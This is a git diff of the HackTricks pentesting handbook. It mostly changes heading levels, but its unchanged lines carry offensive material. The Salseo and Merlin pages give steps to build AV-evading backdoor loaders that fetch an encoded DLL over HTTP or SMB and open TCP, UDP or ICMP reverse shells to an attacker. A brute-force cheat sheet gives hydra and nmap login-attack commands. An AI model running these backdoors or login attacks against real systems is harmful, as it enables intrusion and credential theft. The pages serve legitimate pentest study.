diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/feature-engineering.md b/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/feature-engineering.md index 8e2b27f2..bd2cf080 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/feature-engineering.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/feature-engineering.md @@ -17,15 +17,13 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-# Feature Engineering - -## Basic types of possible data +# Basic types of possible data Data can be **continuous** (**infinity** values) or **categorical** (nominal) where the amount of possible values are **limited**. -### Categorical types +## Categorical types -#### Binary +### Binary Just **2 possible values**: 1 or 0. In case in a dataset the values are in string format (e.g. "True" and "False") you assign numbers to those values with: @@ -33,7 +31,7 @@ Just **2 possible values**: 1 or 0. In case in a dataset the values are in strin dataset["column2"] = dataset.column2.map({"T": 1, "F": 0}) ``` -#### **Ordinal** +### **Ordinal** The **values follows an order**, like in: 1st place, 2nd place... If the categories are strings (like: "starter", "amateur", "professional", "expert") you can map them to numbers as we saw in the binary case. @@ -52,7 +50,7 @@ possible_values_mapping = {value:idx for idx,value in enumerate(possible_values_ dataset['column2'] = dataset.column2.map(possible_values_mapping) ``` -#### **Cyclical** +### **Cyclical** Looks **like ordinal value** because there is an order, but it doesn't mean one is bigger than the other. Also the **distance between them depends on the direction** you are counting. Example: The days of the week, Sunday isn't "bigger" than Monday. @@ -63,7 +61,7 @@ column2_dummies = pd.get_dummies(dataset.column2, drop_first=True) dataset_joined = pd.concat([dataset[['column2']], column2_dummies], axis=1) ``` -#### **Dates** +### **Dates** Date are **continuous** **variables**. Can be seen as **cyclical** (because they repeat) **or** as **ordinal** variables (because a time is bigger than a previous one). @@ -91,13 +89,13 @@ df_filled = daily_sum.reindex(idx, fill_value=0) # Fill missing values # Get day of the week, Monday=0, Sunday=6, and week days names dataset['DoW'] = dataset.transaction_date.dt.dayofweek -## do the same in a different way +# do the same in a different way dataset['weekday'] = dataset.transaction_date.dt.weekday # get day names dataset['day_name'] = dataset.transaction_date.apply(lambda x: x.day_name()) ``` -#### Multi-category/nominal +### Multi-category/nominal **More than 2 categories** with no related order. Use `dataset.describe(include='all')` to get information about the categories of each feature. @@ -110,7 +108,7 @@ You can get a **multi-category column one-hot encoded** with `pd.get_dummies(dat You can get a **multi-category column dummie encoded** with `pd.get_dummies(dataset.column1, drop_first=True)`. This will transform all the classes in binary features, so this will create **one new column per possible class minus one** as the **last 2 columns will be reflect as "1" or "0" in the last binary column created**. This will avoid perfect multicollinearity, reducing the relations between columns. -## Collinear/Multicollinearity +# Collinear/Multicollinearity Collinear appears when **2 features are related to each other**. Multicollineratity appears when those are more than 2. @@ -128,7 +126,7 @@ X = add_constant(onehot_encoded) # Add previously one-hot encoded data print(pd.Series([variance_inflation_factor(X.values,i) for i in range(X.shape[1])], index=X.columns)) ``` -## Categorical Imbalance +# Categorical Imbalance This occurs when there is **not the same amount of each category** in the training data. @@ -177,7 +175,7 @@ You can use the argument **`sampling_strategy`** to indicate the **percentage** Undersamplig or Oversampling aren't perfect if you get statistics (with `.describe()`) of the over/under-sampled data and compare them to the original you will see **that they changed.** Therefore oversampling and undersampling are modifying the training data. {% endhint %} -### SMOTE oversampling +## SMOTE oversampling **SMOTE** is usually a **more trustable way to oversample the data**. @@ -192,13 +190,13 @@ dataset['target_column'] = y_smote print(y_smote.value_counts()) #Confirm data isn't imbalanced anymore ``` -## Rarely Occurring Categories +# Rarely Occurring Categories Imagine a dataset where one of the target classes **occur very little times**. This is like the category imbalance from the previous section, but the rarely occurring category is occurring even less than "minority class" in that case. The **raw** **oversampling** and **undersampling** methods could be also used here, but generally those techniques **won't give really good results**. -### Weights +## Weights In some algorithms it's possible to **modify the weights of the targeted data** so some of them get by default more importance when generating the model. @@ -209,13 +207,13 @@ model = LogisticRegression(class_weight=weights) You can **mix the weights with over/under-sampling techniques** to try to improve the results. -### PCA - Principal Component Analysis +## PCA - Principal Component Analysis Is a method that helps to reduce the dimensionality of the data. It's going to **combine different features** to **reduce the amount** of them generating **more useful features** (_less computation is needed_). The resulting features aren't understandable by humans, so it also **anonymize the data**. -## Incongruent Label Categories +# Incongruent Label Categories Data might have mistakes for unsuccessful transformations or just because human error when writing the data. @@ -225,7 +223,7 @@ You can clean this issues by lowercasing everything and mapping misspelled label It's very important to check that **all the data that you have contains is correctly labeled**, because for example, one misspelling error in the data, when dummie encoding the classes, will generate a new column in the final features with **bad consequences for the final model**. This example can be detected very easily by one-hot encoding a column and checking the names of the columns created. -## Missing Data +# Missing Data Some data of the study may be missing. @@ -293,7 +291,7 @@ dataset.iloc[10:20] # Get some indexes that contained empty data before To fill categorical data first of all you need to think if there is any reason why the values are missing. If it's by **choice of the users** (they didn't want to give the data) maybe yo can **create a new category** indicating that. If it's because of human error you can **remove the rows** or the **feature** (check the steps mentioned before) or **fill it with the mode, the most used category** (not recommended). -## Combining Features +# Combining Features If you find **two features** that are **correlated** between them, usually you should **drop** one of them (the one that is less correlated with the target), but you could also try to **combine them and create a new feature**. diff --git a/about-the-author.md b/about-the-author.md index 72f5479f..55456eb1 100644 --- a/about-the-author.md +++ b/about-the-author.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# About the author - -### Hello!! +## Hello!! This is **Carlos Polop**. @@ -27,7 +25,7 @@ First of all, I want to indicate that **I don't own this entire book**, a lot of I also wants to say **thanks to all the people that share cyber-security related information for free** on the Internet. Thanks to them I learn new hacking techniques that then I add to Hacktricks. -### BIO +## BIO * I've worked in different companies as sysadmin, developer and **pentester** * I'm a **Telecommunications Engineer** with a **Masters** in **Cybersecurity** @@ -37,7 +35,7 @@ I also wants to say **thanks to all the people that share cyber-security related * I'm also the developer of [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng) * And I really enjoy researching, playing CTFs, pentesting and everything related to **hacking** -### Support HackTricks +## Support HackTricks Thank you for be **reading this**! diff --git a/android-forensics.md b/android-forensics.md index 65db55d2..2cfab072 100644 --- a/android-forensics.md +++ b/android-forensics.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Android Forensics - -## Locked Device +# Locked Device To start extracting data from an Android device it has to be unlocked. If it's locked you can: @@ -27,17 +25,17 @@ To start extracting data from an Android device it has to be unlocked. If it's l * Check for a possible [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full\_papers/Aviv.pdf) * Try with [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/) -## Data Adquisition +# Data Adquisition Create an [android backup using adb](mobile-apps-pentesting/android-app-pentesting/adb-commands.md#backup) and extract it using [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar` -### If root access or physical connection to JTAG interface +## If root access or physical connection to JTAG interface * `cat /proc/partitions` (search the path to the flash memory, generally the first entry is _mmcblk0_ and corresponds to the whole flash memory). * `df /data` (Discover the block size of the system). * dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (execute it with the information gathered from the block size). -### Memory +## Memory Use Linux Memory Extractor (LiME) to extract the RAM information. It's a kernel extension that should be loaded via adb. diff --git a/backdoors/empire.md b/backdoors/empire.md index 47ab30bf..eb7ae3e4 100644 --- a/backdoors/empire.md +++ b/backdoors/empire.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Empire -
diff --git a/backdoors/icmpsh.md b/backdoors/icmpsh.md index ab9fb510..a07719b3 100644 --- a/backdoors/icmpsh.md +++ b/backdoors/icmpsh.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-# ICMPsh - Download the backdoor from: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) -## Client side +# Client side Execute the script: **run.sh** @@ -39,7 +37,7 @@ echo Please insert the IP where you want to listen read IP ``` -## **Victim Side** +# **Victim Side** Upload **icmpsh.exe** to the victim and execute: diff --git a/backdoors/merlin.md b/backdoors/merlin.md index d4cd7163..eab15a69 100644 --- a/backdoors/merlin.md +++ b/backdoors/merlin.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Merlin +# Installation -## Installation - -### Install GO +## Install GO ``` #Download GO package from: https://golang.org/dl/ @@ -36,24 +34,24 @@ Add "export GOBIN=$GOPATH/bin" source /etc/profile ``` -### Install Merlin +## Install Merlin ``` go get https://github.com/Ne0nd0g/merlin/tree/dev #It is recommended to use the developer branch cd $GOPATH/src/github.com/Ne0nd0g/merlin/ ``` -## Launch Merlin Server +# Launch Merlin Server ``` go run cmd/merlinserver/main.go -i ``` -## Merlin Agents +# Merlin Agents You can [download precompiled agents](https://github.com/Ne0nd0g/merlin/releases) -### Compile Agents +## Compile Agents Go to the main folder _$GOPATH/src/github.com/Ne0nd0g/merlin/_ @@ -64,13 +62,13 @@ make windows #Server and Agents for Windows make windows-agent URL=https://malware.domain.com:443/ #Agent for windows (arm, dll, linux, darwin, javascript, mips) ``` -### **Manual compile agents** +## **Manual compile agents** ``` GOOS=windows GOARCH=amd64 go build -ldflags "-X main.url=https://10.2.0.5:443" -o agent.exe main.g ``` -## Modules +# Modules **The bad news is that every module used by Merlin is downloaded from the source (github) and saved indisk before using it. Forge about usingwell known modules because Windows Defender will catch you!**\ @@ -103,7 +101,7 @@ GOOS=windows GOARCH=amd64 go build -ldflags "-X main.url=https://10.2.0.5:443" - **Didn't check persistence modules** -## Resume +# Resume I really like the feeling and the potential of the tool.\ I hope the tool will start downloading the modules from the server and integrates some kind of evasion when downloading scripts. diff --git a/backdoors/salseo.md b/backdoors/salseo.md index af729cef..9f7c928c 100644 --- a/backdoors/salseo.md +++ b/backdoors/salseo.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Salseo - -## Compiling the binaries +# Compiling the binaries Download the source code from the github and compile **EvilSalsa** and **SalseoLoader**. You will need **Visual Studio** installed to compile the code. @@ -35,18 +33,18 @@ Then, build both projects (Build -> Build Solution) (Inside the logs will appear ![](<../.gitbook/assets/image (1).png>) -## Prepare the Backdoor +# Prepare the Backdoor First of all, you will need to encode the **EvilSalsa.dll.** To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly** -### **Python** +## **Python** ``` python EncrypterAssembly/encrypterassembly.py python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt ``` -### Windows +## Windows ``` EncrypterAssembly.exe @@ -57,9 +55,9 @@ Ok, now you have everything you need to execute all the Salseo thing: the **enco **Upload the SalseoLoader.exe binary to the machine. They shouldn't be detected by any AV...** -## **Execute the backdoor** +# **Execute the backdoor** -### **Getting a TCP reverse shell (downloading encoded dll through HTTP)** +## **Getting a TCP reverse shell (downloading encoded dll through HTTP)** Remember to start a nc as the reverse shell listener, and a HTTP server to serve the encoded evilsalsa. @@ -67,7 +65,7 @@ Remember to start a nc as the reverse shell listener, and a HTTP server to serve SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp ``` -### **Getting a UDP reverse shell (downloading encoded dll through SMB)** +## **Getting a UDP reverse shell (downloading encoded dll through SMB)** Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa (impacket-smbserver). @@ -75,11 +73,11 @@ Remember to start a nc as the reverse shell listener, and a SMB server to serve SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp ``` -### **Getting a ICMP reverse shell (encoded dll already inside the victim)** +## **Getting a ICMP reverse shell (encoded dll already inside the victim)** **This time you need a special tool in the client to receive the reverse shell. Download:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) -#### **Disable ICMP Replies:** +### **Disable ICMP Replies:** ``` sysctl -w net.ipv4.icmp_echo_ignore_all=1 @@ -88,45 +86,45 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=1 sysctl -w net.ipv4.icmp_echo_ignore_all=0 ``` -#### Execute the client: +### Execute the client: ``` python icmpsh_m.py "" "" ``` -#### Inside the victim, lets execute the salseo thing: +### Inside the victim, lets execute the salseo thing: ``` SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp ``` -## Compiling SalseoLoader as DLL exporting main function +# Compiling SalseoLoader as DLL exporting main function Open the SalseoLoader project using Visual Studio. -### Add before the main function: \[DllExport] +## Add before the main function: \[DllExport] ![](<../.gitbook/assets/image (2).png>) -### Install DllExport for this project +## Install DllExport for this project -#### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...** +### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...** ![](<../.gitbook/assets/image (3).png>) -#### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)** +### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)** ![](<../.gitbook/assets/image (4).png>) In your project folder have appeared the files: **DllExport.bat** and **DllExport\_Configure.bat** -### **U**ninstall DllExport +## **U**ninstall DllExport Press **Uninstall** (yeah, its weird but trust me, it is necessary) ![](<../.gitbook/assets/image (5).png>) -### **Exit Visual Studio and execute DllExport\_configure** +## **Exit Visual Studio and execute DllExport\_configure** Just **exit** Visual Studio @@ -136,13 +134,13 @@ Select **x64** (if you are going to use it inside a x64 box, that was my case), ![](<../.gitbook/assets/image (7).png>) -### **Open the project again with visual Studio** +## **Open the project again with visual Studio** **\[DllExport]** should not be longer marked as error ![](<../.gitbook/assets/image (8).png>) -### Build the solution +## Build the solution Select **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library) @@ -154,7 +152,7 @@ Select **x64** **platform** (Project --> SalseoLoader Properties --> Build --> P To **build** the solution: Build --> Build Solution (Inside the Output console the path of the new DLL will appear) -### Test the generated Dll +## Test the generated Dll Copy and paste the Dll where you want to test it. @@ -166,11 +164,11 @@ rundll32.exe SalseoLoader.dll,main If not error appears, probably you have a functional dll!! -## Get a shell using the Dll +# Get a shell using the Dll Don't forget to use a **HTTP** **server** and set a **nc** **listener** -### Powershell +## Powershell ``` $env:pass="password" @@ -181,7 +179,7 @@ $env:shell="reversetcp" rundll32.exe SalseoLoader.dll,main ``` -### CMD +## CMD ``` set pass=password diff --git a/blockchain/blockchain-and-crypto-currencies/README.md b/blockchain/blockchain-and-crypto-currencies/README.md index 59a7fa4d..dde55354 100644 --- a/blockchain/blockchain-and-crypto-currencies/README.md +++ b/blockchain/blockchain-and-crypto-currencies/README.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Blockchain & Crypto Currencies - -## Basic Terminology +# Basic Terminology * **Smart contract**: Smart contracts are simply **programs stored on a blockchain that run when predetermined conditions are met**. They typically are used to automate the **execution** of an **agreement** so that all participants can be immediately certain of the outcome, without any intermediary’s involvement or time loss. (From [here](https://www.ibm.com/topics/smart-contracts)). * Basically, a smart contract is a **piece of code** that is going to be executed when people access and accept the contract. Smart contracts **run in blockchains** (so the results are stored inmutable) and can be read by the people before accepting them. @@ -31,26 +29,26 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **DEX: Decentralized Exchange Platforms**. * **DAOs**: **Decentralized Autonomous Organizations**. -## Consensus Mechanisms +# Consensus Mechanisms For a blockchain transaction to be recognized, it must be **appended** to the **blockchain**. Validators (miners) carry out this appending; in most protocols, they **receive a reward** for doing so. For the blockchain to remain secure, it must have a mechanism to **prevent a malicious user or group from taking over a majority of validation**. Proof of work, another commonly used consensus mechanism, uses a validation of computational prowess to verify transactions, requiring a potential attacker to acquire a large fraction of the computational power of the validator network. -### Proof Of Work (PoW) +## Proof Of Work (PoW) This uses a **validation of computational prowess** to verify transactions, requiring a potential attacker to acquire a large fraction of the computational power of the validator network.\ The **miners** will **select several transactions** and then start **computing the Proof Of Work**. The **miner with the greatest computation resources** is more probably to **finish** **earlier** the Proof of Work and get the fees of all the transactions. -### Proof Of Stake (PoS) +## Proof Of Stake (PoS) PoS accomplishes this by **requiring that validators have some quantity of blockchain tokens**, requiring **potential attackers to acquire a large fraction of the tokens** on the blockchain to mount an attack.\ In this kind of consensus, the more tokens a miner has, the more probably it will be that the miner will be asked to create the next block.\ Compared with PoW, this greatly **reduced the energy consumption** the miners are expending. -## Bitcoin +# Bitcoin -### Transactions +## Transactions A simple **transaction** is a **movement of money** from an address to another one.\ An **address** in bitcoin is the hash of the **public** **key**, therefore, someone in order to make a transaction from an address he needs to know the private key associated to that public key (the address).\ @@ -79,11 +77,11 @@ Once R and S have been calculated, they are serialized into a byte stream that i Verification of a signature effectively means that only the owner of the private key (that generated the public key) could have produced the signature on the transaction. The signature verification algorithm will return ‘TRUE’ if the signature is indeed valid. -#### Multisignature Transactions +### Multisignature Transactions A multi-signature **address** is an address that is associated with more than one ECDSA private key. The simplest type is an m-of-n address - it is associated with n private keys, and sending bitcoins from this address requires signatures from at least m keys. A multi-signature **transaction** is one that sends funds from a multi-signature address. -#### Transactions Fields +### Transactions Fields Each bitcoin transaction has several fields: @@ -98,7 +96,7 @@ There are **2 main types** of transactions: * **P2PKH: "Pay To Public Key Hash"**: This is how transactions are made. You are requiring the **sender** to supply a valid **signature** (from the private key) and **public** **key**. The transaction output script will use the signature and public key and through some cryptographic functions will check **if it matches** with the public key hash, if it does, then the **funds** will be **spendable**. This method conceals your public key in the form of a hash for extra security. * **P2SH: "Pay To Script Hash":** The outputs of a transaction are just **scripts** (this means the person how want this money send a script) that, if are **executed with specific parameters, will result in a boolean of `true` or `false`**. If a miner runs the output script with the supplied parameters and results in `true`, the **money will be sent to your desired output**. `P2SH` is used for **multi-signature** wallets making the output scripts **logic that checks for multiple signatures before accepting the transaction**. `P2SH` can also be used to allow anyone, or no one, to spend the funds. If the output script of a P2SH transaction is just `1` for true, then attempting to spend the output without supplying parameters will just result in `1` making the money spendable by anyone who tries. This also applies to scripts that return `0`, making the output spendable by no one. -### Lightning Network +## Lightning Network This protocol helps to **perform several transactions to a channe**l and **just** **sent** the **final** **state** to the blockchain to save it.\ This **improves** bitcoin blockchain **speed** (it just on allow 7 payments per second) and it allows to create **transactions more difficult to trace** as the channel is created via nodes of the bitcoin blockchain: @@ -109,27 +107,27 @@ Normal use of the Lightning Network consists of **opening a payment channel** by Note that any of the both members of the channel can stop and send the final state of the channel to the blockchain at any time. -## Bitcoin Privacy Attacks +# Bitcoin Privacy Attacks -### Common Input +## Common Input Theoretically the inputs of one transaction can belong to different users, but in reality that is unusual as it requires extra steps. Therefore, very often it can be assumed that **2 input addresses in the same transaction belongs to the same owner**. -### UTXO Change Address Detection +## UTXO Change Address Detection **UTXO** means **Unspent Transaction Outputs** (UTXOs). In a transaction that uses the output from a previous transaction as an input, the **whole output need to be spent** (to avoid double-spend attacks). Therefore, if the intention was to **send** just **part** of the money from that output to an address and **keep** the **other** **part**, **2 different outputs** will appear: the **intended** one and a **random new change address** where the rest of the money will be saved. Then, a watcher can make the assumption that **the new change address generated belong to the owner of the UTXO**. -### Social Networks & Forums +## Social Networks & Forums Some people gives data about theirs bitcoin addresses in different webs on Internet. **This make pretty easy to identify the owner of an address**. -### Transaction Graphs +## Transaction Graphs By representing the transactions in graphs, i**t's possible to know with certain probability to where the money of an account were**. Therefore, it's possible to know something about **users** that are **related** in the blockchain. -### **Unnecessary input heuristic** +## **Unnecessary input heuristic** Also called the "optimal change heuristic". Consider this bitcoin transaction. It has two inputs worth 2 BTC and 3 BTC and two outputs worth 4 BTC and 1 BTC. @@ -148,7 +146,7 @@ This is an issue for transactions which have more than one input. One way to fix 5 btc ``` -### Forced address reuse +## Forced address reuse **Forced address reuse** or **incentivized address reuse** is when an adversary pays an (often small) amount of bitcoin to addresses that have already been used on the block chain. The adversary hopes that users or their wallet software **will use the payments as inputs to a larger transaction which will reveal other addresses via the the common-input-ownership** heuristic. These payments can be understood as a way to coerce the address owner into unintentional address reuse. @@ -156,14 +154,14 @@ This attack is sometimes incorrectly called a **dust attack**. The correct behaviour by wallets is to not spend coins that have landed on an already-used empty addresses. -### Other Blockchain Analysis +## Other Blockchain Analysis * **Exact Payment Amounts**: In order to avoid transactions with a change, the payment needs to be equal to the UTXO (which is highly unexpected). Therefore, a **transaction with no change address are probably transfer between 2 addresses of the same user**. * **Round Numbers**: In a transaction, if one of the outputs is a "**round number**", it's highly probable that this is a **payment to a human that put that** "round number" **price**, so the other part must be the leftover. * **Wallet fingerprinting:** A careful analyst sometimes deduce which software created a certain transaction, because the many **different wallet softwares don't always create transactions in exactly the same way**. Wallet fingerprinting can be used to detect change outputs because a change output is the one spent with the same wallet fingerprint. * **Amount & Timing correlations**: If the person that performed the transaction **discloses** the **time** and/or **amount** of the transaction, it can be easily **discoverable**. -### Traffic analysis +## Traffic analysis Some organisation **sniffing your traffic** can see you communicating in the bitcoin network.\ If the adversary sees a transaction or block **coming out of your node which did not previously enter**, then it can know with near-certainty that **the transaction was made by you or the block was mined by you**. As internet connections are involved, the adversary will be able to **link the IP address with the discovered bitcoin information**. @@ -171,27 +169,27 @@ If the adversary sees a transaction or block **coming out of your node which did An attacker that isn't able to sniff all the Internet traffic but that has **a lot of Bitcoin nodes** in order to stay **closer** to the s**o**urces could be able to know the IP address that are announcing transactions or blocks.\ Also, some wallets periodically rebroadcast their unconfirmed transactions so that they are more likely to propagate widely through the network and be mined. -### Other attacks to find info about the owner of addresses +## Other attacks to find info about the owner of addresses For more attacks read [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy) -## Anonymous Bitcoins +# Anonymous Bitcoins -### Obtaining Bitcoins Anonymously +## Obtaining Bitcoins Anonymously * **Cash trades:** Buy bitcoin using cash. * **Cash substitute:** Buy gift cards or similar and exchange them for bitcoin online. * **Mining:** Mining is the most anonymous way to obtain bitcoin. This applies to solo-mining as [mining pools](https://en.bitcoin.it/wiki/Pooled\_mining) generally know the hasher's IP address. * **Stealing:** In theory another way of obtaining anonymous bitcoin is to steal them. -### Mixers +## Mixers A user would **send bitcoins to a mixing service** and the service would **send different bitcoins back to the user**, minus a fee. In theory an adversary observing the blockchain would be **unable to link** the incoming and outgoing transactions. However, the user needs to trust the mixing service to return the bitcoin and also to not be saving logs about the relations between the money received and sent.\ Some other services can be also used as mixers, like Bitcoin casinos where you can send bitcoins and retrieve them later. -### CoinJoin +## CoinJoin **CoinJoin** will **mix several transactions of different users into just one** in order to make more **difficult** for an observer to find out **which input is related to which output**.\ This offers a new level of privacy, however, **some** **transactions** where some input and output amounts are correlated or are very different from the rest of the inputs and outputs **can still be correlated** by the external observer. @@ -201,7 +199,7 @@ Examples of (likely) CoinJoin transactions IDs on bitcoin's blockchain are `402d [**https://coinjoin.io/en**](https://coinjoin.io/en)\ **Similar to coinjoin but better and for ethereum you have** [**Tornado Cash**](https://tornado.cash) **(the money is given from miners, so it jus appear in your waller).** -### PayJoin +## PayJoin The type of CoinJoin discussed in the previous section can be easily identified as such by checking for the multiple outputs with the same value. @@ -216,42 +214,42 @@ It could be interpreted as a simple transaction paying to somewhere with leftove If PayJoin transactions became even moderately used then it would make the **common-input-ownership heuristic be completely flawed in practice**. As they are undetectable we wouldn't even know whether they are being used today. As transaction surveillance companies mostly depend on that heuristic, as of 2019 there is great excitement about the PayJoin idea. -## Bitcoin Privacy Good Practices +# Bitcoin Privacy Good Practices -### Wallet Synchronization +## Wallet Synchronization Bitcoin wallets must somehow obtain information about their balance and history. As of late-2018 the most practical and private existing solutions are to use a **full node wallet** (which is maximally private) and **client-side block filtering** (which is very good). * **Full node:** Full nodes download the entire blockchain which contains every on-chain [transaction](https://en.bitcoin.it/wiki/Transaction) that has ever happened in bitcoin. So an adversary watching the user's internet connection will not be able to learn which transactions or addresses the user is interested in. * **Client-side block filtering:** Client-side block filtering works by having **filters** created that contains all the **addresses** for every transaction in a block. The filters can test whether an **element is in the set**; false positives are possible but not false negatives. A lightweight wallet would **download** all the filters for every **block** in the **blockchain** and check for matches with its **own** **addresses**. Blocks which contain matches would be downloaded in full from the peer-to-peer network, and those blocks would be used to obtain the wallet's history and current balance. -### Tor +## Tor Bitcoin network uses a peer-to-peer network, which means that other peers can learn your IP address. This is why it's recommend to **connect through Tor every time you want to interact with the bitcoin network**. -### Avoiding address reuse +## Avoiding address reuse **Addresses being used more than once is very damaging to privacy because that links together more blockchain transactions with proof that they were created by the same entity**. The most private and secure way to use bitcoin is to send a brand **new address to each person who pays you**. After the received coins have been spent the address should never be used again. Also, a brand new bitcoin address should be demanded when sending bitcoin. All good bitcoin wallets have a user interface which discourages address reuse. -### Multiple transactions +## Multiple transactions **Paying** someone with **more than one on-chain transaction** can greatly reduce the power of amount-based privacy attacks such as amount correlation and round numbers. For example, if the user wants to pay 5 BTC to somebody and they don't want the 5 BTC value to be easily searched for, then they can send two transactions for the value of 2 BTC and 3 BTC which together add up to 5 BTC. -### Change avoidance +## Change avoidance Change avoidance is where transaction inputs and outputs are carefully chosen to not require a change output at all. **Not having a change output is excellent for privacy**, as it breaks change detection heuristics. -### Multiple change outputs +## Multiple change outputs If change avoidance is not an option then **creating more than one change output can improve privacy**. This also breaks change detection heuristics which usually assume there is only a single change output. As this method uses more block space than usual, change avoidance is preferable. -## Monero +# Monero When Monero was developed, the gaping need for **complete anonymity** was what it sought to resolve, and to a large extent, it has filled that void. -## Ethereum +# Ethereum -### Gas +## Gas Gas refers to the unit that measures the **amount** of **computational** **effort** required to execute specific operations on the Ethereum network. Gas refers to the **fee** required to successfully conduct a **transaction** on Ethereum. @@ -269,7 +267,7 @@ Additionally, Jordan can also set a max fee (`maxFeePerGas`) for the transaction As the base fee is calculated by the network based on demand for block space, this last param: maxFeePerGas helps to control the maximum fee that is going to be payed. -### Transactions +## Transactions Notice that in the **Ethereum** network a transaction is performed between 2 addresses and these can be **user or smart contract addresses**.\ **Smart Contracts** are stored in the distributed ledger via a **special** **transaction**. @@ -289,7 +287,7 @@ A submitted transaction includes the following information: Note that there isn't any field for the origin address, this is because this can be extrapolated from the signature. -## References +# References * [https://en.wikipedia.org/wiki/Proof\_of\_stake](https://en.wikipedia.org/wiki/Proof\_of\_stake) * [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) diff --git a/blockchain/blockchain-and-crypto-currencies/page-1.md b/blockchain/blockchain-and-crypto-currencies/page-1.md index 1942df3a..eb7ae3e4 100644 --- a/blockchain/blockchain-and-crypto-currencies/page-1.md +++ b/blockchain/blockchain-and-crypto-currencies/page-1.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Page 1 -
diff --git a/brute-force.md b/brute-force.md index 3c699d36..652acf10 100644 --- a/brute-force.md +++ b/brute-force.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-# Brute Force - CheatSheet - {% hint style="warning" %} **Support HackTricks and get benefits!** @@ -34,7 +32,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** {% endhint %} -## Default Credentials +# Default Credentials **Search in google** for default credentials of the technology that is being used, or **try this links**: @@ -50,11 +48,11 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com) * [**https://many-passwords.github.io/**](https://many-passwords.github.io) -## **Create your own Dictionaries** +# **Create your own Dictionaries** Find as much information about the target as you can and generate a custom dictionary. Tools that may help: -### Crunch +## Crunch ```bash crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet @@ -67,13 +65,13 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars crunch 6 8 -t ,@@^^%% ``` -### Cewl +## Cewl ```bash cewl example.com -m 5 -w words.txt ``` -### [CUPP](https://github.com/Mebus/cupp) +## [CUPP](https://github.com/Mebus/cupp) Generate passwords based on your knowledge of the victim (names, dates...) @@ -81,9 +79,9 @@ Generate passwords based on your knowledge of the victim (names, dates...) python3 cupp.py -h ``` -### [pydictor](https://github.com/LandGrey/pydictor) +## [pydictor](https://github.com/LandGrey/pydictor) -### Wordlists +## Wordlists * [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists) * [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium) @@ -91,11 +89,11 @@ python3 cupp.py -h * [**https://github.com/google/fuzzing/tree/master/dictionaries**](https://github.com/carlospolop/hacktricks/tree/95b16dc7eb952272459fc877e4c9d0777d746a16/google/fuzzing/tree/master/dictionaries/README.md) * [**https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm**](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm) -## Services +# Services Ordered alphabetically by service name. -### AFP +## AFP ```bash nmap -p 548 --script afp-brute @@ -107,38 +105,38 @@ msf> set USER_FILE msf> run ``` -### AJP +## AJP ```bash nmap --script ajp-brute -p 8009 ``` -### Cassandra +## Cassandra ```bash nmap --script cassandra-brute -p 9160 ``` -### CouchDB +## CouchDB ```bash msf> use auxiliary/scanner/couchdb/couchdb_login hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / ``` -### Docker Registry +## Docker Registry ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ ``` -### Elasticsearch +## Elasticsearch ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 